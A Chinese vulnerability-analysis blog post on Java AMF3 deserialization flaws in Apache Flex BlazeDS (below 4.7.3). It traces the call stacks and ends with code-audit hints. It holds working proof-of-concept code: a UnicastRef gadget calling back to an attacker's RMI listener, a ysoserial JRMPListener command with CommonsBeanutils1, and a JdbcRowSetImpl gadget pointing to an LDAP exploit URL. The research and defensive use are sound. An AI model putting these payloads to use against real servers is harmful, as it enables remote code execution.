AMF是Action Message Format的简称,是一种二进制序列化格式,主要用于数据交互和远程过程调用。
一个Action Message由头部(header)和主体(body)所组成。
AMF3(Action Message Format version 3)是AMF的第三版,同样是一种二进制信息编码格式,也是Flash应用在后台交互时主要使用的一种数据格式。与JSON类似,它支持不同的数据类型。考虑到向后兼容性,AMF3实际上算是AMF的一种扩展实现,并且引入了新的对象类型。
AMF3对象的新功能可以归结为两种新增加的特性,即Dynamic和Externalizable,这两种新特性描述了对象是如何进行序列化操作的:
我们可以拿Dynamic特性与JavaBeans的功能进行对比:它允许我们通过类名及属性来创建一个对象。实际上,很多JavaBeans实体目前已经实现了这种技术,例如java.beans.Introspector、Flamingo、Flex BlazeDS和WebORB等等。
但需要注意的是,这种功能将会导致一种可利用的漏洞产生。实际上, Wouter Coekaerts早在2011年就已经将这种存在于AMF实现中的漏洞曝光了 ,并且还在2016年发布了相应漏洞的利用代码及PoC。
我们可以拿Externalizable特性赖于Java的java.io.Externalizable接口进行对比。实际上,很多厂商早就已经将flash.utils.IExternalizable接口的规范进行了调整,其实它与Java的java.io.Externalizable区别不大,这种特性将允许我们可以高效地对实现了java.io.Externalizable接口的类进行重构。
java.io.Externalizable接口定义了两个方法:即readExternal(java.io.ObjectInput)和writeExternal(java.io.ObjectInput),而这两个方法将允许java类完全控制序列化以及反序列化操作。这也就意味着,在程序的运行过程中不存在默认的序列化/反序列化行为以及有效性检测。因此,相对于java.io.Serializable来说,我们使用java.io.Externalizable来实现序列化/反序列化则更加的简单和高效。
本地测试用的jar:flex-messaging-core-4.7.2,flex-messaging-common-4.7.2。
Person类,注意该类需要实现Serializable接口类才能实现序列化和反序列化:
public class Person implements Serializable { private String name; private int age; public Person() { System.out.println("Person构造函数"); } public String getName() { System.out.println("Person.getName()"); return name; } public void setName(String name) { System.out.println("Person.setName()"); this.name = name; } public int getAge() { System.out.println("Person.getAge()"); return age; } public void setAge(int age) { System.out.println("Person.setAge()"); this.age = age; } @Override public String toString() { return "Person [name=" + name + ", age=" + age + "]"; } }
AMFDemo.java:
public class AMFDemo { public static void main(String[] args) throws Exception { Person person = new Person(); person.setName("mi1k7ea"); person.setAge(6); // 序列化对象,生成AMF Message对象 byte[] amf = serialize(person); System.out.println("序列化:" + amf); // 反序列化对象 ActionMessage actionMessage = deserialize(amf); System.out.println("反序列化:" + actionMessage); } public static byte[] serialize(Object data) throws IOException { MessageBody body = new MessageBody(); body.setData(data); ActionMessage message = new ActionMessage(); message.addBody(body); ByteArrayOutputStream out = new ByteArrayOutputStream(); AmfMessageSerializer serializer = new AmfMessageSerializer(); serializer.initialize(SerializationContext.getSerializationContext(), out, null); serializer.writeMessage(message); return out.toByteArray(); } public static ActionMessage deserialize(byte[] amf) throws ClassNotFoundException, IOException { ByteArrayInputStream in = new ByteArrayInputStream(amf); AmfMessageDeserializer deserializer = new AmfMessageDeserializer(); deserializer.initialize(SerializationContext.getSerializationContext(), in, null); ActionMessage actionMessage = new ActionMessage(); deserializer.readMessage(actionMessage, new ActionContext()); return actionMessage; } }
输出:
Person构造函数 Person.setName() Person.setAge() Person.getName() Person.getAge() 序列化:[B@681a9515 Person构造函数 Person.setName() Person.setAge() 反序列化:flex.messaging.io.amf.ActionMessage@27bc2616
在AMF3反序列化过程中,程序会从Action消息中获取类名,构造新的对象,然后以成员值作为参数调用每个成员名对应的setter方法。这一个过程由专门的方法来实现,比如 flex.messaging.io.amf.Amf3Input
类中的 readScriptObject()
方法或者 flex.messaging.io.amf.Amf0Input
类中的 readObjectValue()
方法。
在deserialize()函数中,调用了AmfMessageDeserializer.readMessage()函数来读取Action Message内容,而在其中会调用readBody()函数来进一步读取Action Message的主体内容:
接着会调用AmfMessageDeserializer.readObject()函数:
往下跟进去,看到调用Amf0Input.readObject(),其中获取到type为17,然后调用readObjectValue():
跟进readObjectValue()函数,由于type为17,就会进入调用Amf3Input.readObject()的逻辑:
跟进Amf3Input.readObject()函数,这里获取到type为10,再调用Amf3Input.readObjectValue():
跟进Amf3Input.readObjectValue()函数,在AMF3协议中,当type数据类型为10时,则认为Java对象,就会调用readScriptObject()读取对象:
跟进readScriptObject()函数,看到调用createObjectInstance()函数来新建对象实例,可以看到是直接创建Person类实例了:
在AbstractAmfInput.createObjectInstance()函数中,调用AbstractProxy.createInstance()函数来新建实例:
再往下就是具体调用创建对象实例的函数调用过程、调用Person类构造函数。
此时函数调用栈如下:
<init>:7, Person newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) newInstance:62, NativeConstructorAccessorImpl (sun.reflect) newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect) newInstance:422, Constructor (java.lang.reflect) newInstance:442, Class (java.lang) createDefaultInstance:120, ClassUtil (flex.messaging.util) createInstanceFromClassName:95, AbstractProxy (flex.messaging.io) createInstance:115, AbstractProxy (flex.messaging.io) createObjectInstance:169, AbstractAmfInput (flex.messaging.io.amf) readScriptObject:746, Amf3Input (flex.messaging.io.amf) readObjectValue:154, Amf3Input (flex.messaging.io.amf) readObject:132, Amf3Input (flex.messaging.io.amf) readObjectValue:122, Amf0Input (flex.messaging.io.amf) readObject:93, Amf0Input (flex.messaging.io.amf) readObject:199, AmfMessageDeserializer (flex.messaging.io.amf) readBody:173, AmfMessageDeserializer (flex.messaging.io.amf) readMessage:93, AmfMessageDeserializer (flex.messaging.io.amf) deserialize:40, AMFDemo main:19, AMFDemo
继续往下调试,调用完Person类的构造函数创建了对象实例后,程序会返回到Amf3Input.readScriptObject()函数中继续执行,会通过for循环遍历属性并调用BeanProxy.setValue()函数进行属性值的设置:
我们跟进几层,看到set()函数是通过反射机制来调用目标属性的setter方法的:
往下就是反射调用对应的属性的setter方法,此时的函数调用栈如下:
setName:17, Person invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) set:867, BeanProxy$BeanProperty (flex.messaging.io) setValue:284, BeanProxy (flex.messaging.io) readScriptObject:776, Amf3Input (flex.messaging.io.amf) readObjectValue:154, Amf3Input (flex.messaging.io.amf) readObject:132, Amf3Input (flex.messaging.io.amf) readObjectValue:122, Amf0Input (flex.messaging.io.amf) readObject:93, Amf0Input (flex.messaging.io.amf) readObject:199, AmfMessageDeserializer (flex.messaging.io.amf) readBody:173, AmfMessageDeserializer (flex.messaging.io.amf) readMessage:93, AmfMessageDeserializer (flex.messaging.io.amf) deserialize:40, AMFDemo main:19, AMFDemo
接着遍历其他属性并反射调用其setter方法直至完成属性值的设置,最后返回对象实例。
此时可以看到,AMF3将对象方锦龙ActionMessage的body中,其属性值在data可看到:
Apache Flex BlazeDS的4.6.0.23207版本及4.7.x系列<4.7.3版本的都存在反序列化漏洞。
具体地说,是flex-messaging-xx系列jar包的4.6.0.23207版本及4.7.x系列<4.7.3版本的存在漏洞。
简单地说,AMF3反序列化漏洞原理就是反序列化调用了JavaBeans存在漏洞的setter方法导致的。
修改AMFDemo.java,添加生成generateUnicastRef类对象:
public class AMFDemo { public static void main(String[] args) throws Exception { Object object = generateUnicastRef("192.168.10.129", 1234); // 序列化对象,生成AMF Message对象 byte[] amf = serialize(object); // 反序列化对象 ActionMessage actionMessage = deserialize(amf); System.out.println("ActionMessage: " + actionMessage); } public static Object generateUnicastRef(String host, int port) { java.rmi.server.ObjID objId = new java.rmi.server.ObjID(); sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port); sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false); return new sun.rmi.server.UnicastRef(liveRef); } public static byte[] serialize(Object data) throws IOException { MessageBody body = new MessageBody(); body.setData(data); ActionMessage message = new ActionMessage(); message.addBody(body); ByteArrayOutputStream out = new ByteArrayOutputStream(); AmfMessageSerializer serializer = new AmfMessageSerializer(); serializer.initialize(SerializationContext.getSerializationContext(), out, null); serializer.writeMessage(message); return out.toByteArray(); } public static ActionMessage deserialize(byte[] amf) throws ClassNotFoundException, IOException { ByteArrayInputStream in = new ByteArrayInputStream(amf); AmfMessageDeserializer deserializer = new AmfMessageDeserializer(); deserializer.initialize(SerializationContext.getSerializationContext(), in, null); ActionMessage actionMessage = new ActionMessage(); deserializer.readMessage(actionMessage, new ActionContext()); return actionMessage; } }
测试下代码能否正常运行,监听下端口,看看是否能够成功建立连接:
此时,我们成功与客户端建立了一条通信连接,而且使用的还是Java RMI传输协议。
利用ysoserial工具,前提是目标环境存在可被反序列化利用的类,这里假设存在CommonsBeanutils1:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1234 CommonsBeanutils1 calc.exe
在Kali运行该命令开启JRMPListener监听,运行程序后Kali端接受到数据后就会发送payload,在Windows端就会弹计算器:
JdbcRowSetImpl这条Gadget十分经典,原理和调试分析就不多说了,直接看PoC示例。
修改AMFDemo.java,传入一个JdbcRowSetImpl类对象进行反序列化,其中设置了DataSourceName和AutoCommit属性值:
public class AMFDemo { public static void main(String[] args) throws Exception { Object object = createPoC("127.0.0.1", 1389); // 序列化对象,生成AMF Message对象 byte[] amf = serialize(object); // 反序列化对象 ActionMessage actionMessage = deserialize(amf); } public static Object createPoC(String host, int port) { com.sun.rowset.JdbcRowSetImpl jdbcRowSet = new com.sun.rowset.JdbcRowSetImpl(); try { jdbcRowSet.setDataSourceName("ldap://" + host + ":" + port + "/Exploit"); jdbcRowSet.setAutoCommit(true); } catch (Exception e) { e.printStackTrace(); } return jdbcRowSet; } ...
之所以能触发,和AMF3没有直接关系,是前面初始化JdbcRowSetImpl类对象的时候触发的:
这里只对UnicastRef这条Gadget进行调试分析。
反序列化过程在之前已经整体跟踪分析过了,我们看下关键的几个地方。
我们直接在UnicastRef.invoke()方法上打断点,调试直接运行到这,此时函数调用栈如下:
invoke:377, UnicastRef (sun.rmi.server) dirty:-1, DGCImpl_Stub (sun.rmi.transport) makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport) registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport) registerRefs:156, DGCClient (sun.rmi.transport) read:312, LiveRef (sun.rmi.transport) readExternal:493, UnicastRef (sun.rmi.server) readExternalizable:828, Amf3Input (flex.messaging.io.amf) readScriptObject:757, Amf3Input (flex.messaging.io.amf) readObjectValue:154, Amf3Input (flex.messaging.io.amf) readObject:132, Amf3Input (flex.messaging.io.amf) readObjectValue:122, Amf0Input (flex.messaging.io.amf) readObject:93, Amf0Input (flex.messaging.io.amf) readObject:199, AmfMessageDeserializer (flex.messaging.io.amf) readBody:173, AmfMessageDeserializer (flex.messaging.io.amf) readMessage:93, AmfMessageDeserializer (flex.messaging.io.amf) deserialize:55, AMFDemo main:16, AMFDemo
在UnicastRef.invoke()函数中,调用了executeCall()函数,其实就是一个远程TCP连接调用:
跟进StreamRemoteCall.executeCall()函数中,看到该方法直接从in数据库中进行了readObject()操作:
再往下,就是调用ObjectInputStream.readObject()的Java原生反序列化的内容了。由于目标环境存在可被反序列化漏洞利用的CommonsBeanutils1相关的jar包(commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2),因此Kali会通过建立的TCP连接把CommonsBeanutils1对应的payload发送过来这个readObject()中进行反序列化操作,从而触发漏洞。
此时函数调用栈为:
readObject:371, ObjectInputStream (java.io) executeCall:245, StreamRemoteCall (sun.rmi.transport) invoke:379, UnicastRef (sun.rmi.server) dirty:-1, DGCImpl_Stub (sun.rmi.transport) makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport) registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport) registerRefs:156, DGCClient (sun.rmi.transport) read:312, LiveRef (sun.rmi.transport) readExternal:493, UnicastRef (sun.rmi.server) readExternalizable:828, Amf3Input (flex.messaging.io.amf) readScriptObject:757, Amf3Input (flex.messaging.io.amf) readObjectValue:154, Amf3Input (flex.messaging.io.amf) readObject:132, Amf3Input (flex.messaging.io.amf) readObjectValue:122, Amf0Input (flex.messaging.io.amf) readObject:93, Amf0Input (flex.messaging.io.amf) readObject:199, AmfMessageDeserializer (flex.messaging.io.amf) readBody:173, AmfMessageDeserializer (flex.messaging.io.amf) readMessage:93, AmfMessageDeserializer (flex.messaging.io.amf) deserialize:55, AMFDemo main:16, AMFDemo
全局搜索是否使用flex-messaging-xx系列jar包,且版本是否<4. 7.3;
若是则全局搜索如下关键代码排查,主要看AmfMessageDeserializer.readMessage()函数的参数是否外部可控:
import flex.messaging.io. AmfMessageDeserializer readMessage(